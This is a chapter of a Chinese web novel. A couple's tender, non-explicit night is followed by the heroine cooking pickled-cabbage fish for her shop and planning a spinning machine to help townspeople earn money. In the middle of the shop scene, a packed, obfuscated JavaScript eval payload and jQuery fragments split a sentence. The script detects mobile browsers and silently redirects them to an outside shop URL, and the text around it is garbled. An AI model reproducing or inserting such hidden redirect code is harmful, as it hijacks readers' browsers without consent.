乔知栀看着他,忽然笑了,伸手搂住他的脖子,把脸埋进他肩窝里。
“沈墨。”
“嗯。”
“以后不许再骗我了,大事也不行。”
沈墨的手在她背上轻轻拍着。
“好。”
两个人抱了一会儿,沈墨的手开始不老实了。
从她的后背滑到腰侧,掌心贴着她的腰,隔着薄薄的里衣,慢慢往上。
乔知栀的身体微微绷紧,把脸埋在他肩窝里,闷闷地说了一句。
“你干嘛?”
沈墨没说话,低头含住她的耳垂,轻轻咬了一下。
乔知栀浑身一颤,像被电击了一样,酥麻的感觉从耳垂蔓延到四肢百骸,连脚趾都蜷了起来。
“沈墨~”
她喊他的名字,声音软得像水,带着一丝颤音。
沈墨没应,唇顺着她的耳廓往下滑,滑到脖颈。
细细碎碎的吻,像春雨落在湖面上,漾开一圈一圈的涟漪。
乔知栀的呼吸变得急促起来,手攥紧了他的衣领,指节泛白。
沈墨的手从她腰侧滑进衣摆。
乔知栀仰起头,月光从帐子外面透进来,落在她脸上。
沈墨看着她这副模样,瑞凤眼里的温柔一点点褪去,取而代之的是一种滚烫的、压抑已久的东西。
他低下头,吻住她的唇。
攻城略地。
帐子在月光里轻轻晃动。
樟木床发出细微的声响,和着两个人的呼吸声,缠绵缱绻。
小白趴在软榻上,圆溜溜的眼睛看着帐子晃来晃去,“唧”了一声,把脸埋进爪子里,继续睡。
月亮悄悄躲进了云层里。
不知道过了多久,一切都安静下来。
乔知栀窝在沈墨怀里,脸红得像煮熟的虾子,额前的碎发被汗湿了,贴在脸上。
沈墨伸手帮她把碎发拨开,指腹在她脸上轻轻摩挲。
“睡吧。”
乔知栀闷哼一声,把脸埋进他胸口,闭上眼睛,很快就睡着。
沈墨低头在她额头上轻轻落下一个吻,然后把她往怀里拢了拢,闭上了眼睛。
第二天早上。
乔知栀醒来的时候,身边已经没人了。
她坐起来,往桌上看了一眼。
和往常一样,早饭摆好了,白粥、馒头、小咸菜。
旁边压着一张纸条。
“我去书院了。早饭在桌上,记得吃。小白喂过了。——沈墨”
乔知栀捧着纸条看了一遍,嘴角翘起来,把纸条折好,枕头已经塞不下了,她翻出来个小木盒子,把纸条全部塞进了木盒里。
松松散散的,堆了半盒子。
乔知栀嘴角不由勾起。
吃完早饭,乔知栀抱着小白出了门。
到了铺子门口,陈婉宁已经到了,正在擦桌子。
看见乔知栀进来,她眼睛一亮。
“知栀姐!今天做什么新菜?”
乔知栀笑了笑,把小白放在柜台上,系上围裙走进厨房。
霍雄已经把肉切好了,灶台上的火也生好了。
“东家,今天做什么?”
“今天不做饭,做鱼。”
“鱼?倒是备了十几条,够么?”
“够。”
“做什么鱼?”
“酸菜鱼!”
霍雄愣了一下:“酸菜还能做鱼?”
“能。”
乔知栀从缸里捞出一条大草鱼,三刀两刀片成薄片,鱼片在案板上排开,薄得透光。
霍雄在旁边看着,眼睛都直了。
锅里的油热了,乔知栀先把鱼骨下锅煎到金黄,加水炖汤。
汤滚起来的时候,奶白奶白的,香气扑鼻。
然后把酸菜下锅炒香,倒进鱼汤里,最后把鱼片一片一片滑进去,几秒钟就烫熟了。
装盆,撒上干辣椒和花椒,淋一勺热油。
“滋啦!”
香辣味一下子炸开来,飘出去老远。
陈婉宁站在厨房门口,口水都快流下来了。
“知栀姐,这也太香了吧!”
乔知栀拿了一双筷子,夹了一片鱼递给她。
“尝尝。”
陈婉宁张嘴接住,嚼了两下,眼睛瞪得溜圆。
“唔!好吃!又酸又辣,鱼片嫩得跟豆腐似的!知栀姐,你怎么什么都会做?”
乔知栀笑了笑,端着盆走出去。
她把酸菜鱼放在铺子最中间的桌子上,扯着嗓子喊了一声。
“新
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581180|205117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜!酸菜鱼!又酸又辣,开胃下饭!前三天半价!”
客人们闻着味就过来了,一盆酸菜鱼很快就见底,有人连汤都喝了。
陈婉宁忙着收钱,收得手都软了,嘴咧到耳根。
乔知栀站在厨房门口,看着外面坐得满满当当的客人,心里那个念头又冒了出来。
镇上人多,但是消费都不大。
沈墨说得对,大昭的百姓,其实都没什么钱。
所以要想让更多的客人来铺子里吃饭,还是得让平安镇的百姓都能挣上钱。
她正想着,陈婉宁凑过来,手里端着一小碗酸菜鱼,一边吃一边含混不清地问。
“知栀姐,你这酸菜鱼用的什么鱼啊?草鱼?”
“嗯。”
“草鱼刺多,不怕客人卡着?”
乔知栀笑了笑,从碗里夹了一片鱼,在陈婉宁面前晃了晃。
“你卡着了吗?”
陈婉宁愣了一下,低头看了看自己碗里的鱼片。
薄薄的,透光的,鱼刺被切断了,根本感觉不到。
“嚯!”她的眼睛又瞪大了,“知栀姐,你这刀工也太厉害了吧!”
乔知栀没接话,转身走回厨房。
她站在灶台前,一边收拾锅碗一边想,平安镇靠山靠水,鱼不贵,酸菜更便宜,这一大盆子酸菜鱼的成本比红烧肉还低,卖得还便宜,客人肯定更愿意点。
但光靠便宜不行。
得让老百姓兜里有钱,才能天天来吃。
她想起昨晚沈墨说的那些话。
军饷被贪走五成,中间刮走三成,到将士手里不足两成。
矿脉再肥,也只有进贪官私库的份。
平安镇也是一样。
百姓种茶种桑,辛苦一年,大头都被上面收走了,到手里没几个钱。
得想办法让百姓自己挣到钱。
乔知栀擦干手,走出厨房,在柜台后面坐下,从抽屉里摸出一张纸和一支笔。
陈婉宁凑过来:“知栀姐,你写什么呢?”
“写东西。”
乔知栀咬着笔杆想了想,在纸上画了几条线。横的,竖的,弯的,连在一起,像一幅图。
陈婉宁看了半天,没看懂。
“这是什么?”
“纺纱机。”乔知栀头也没抬。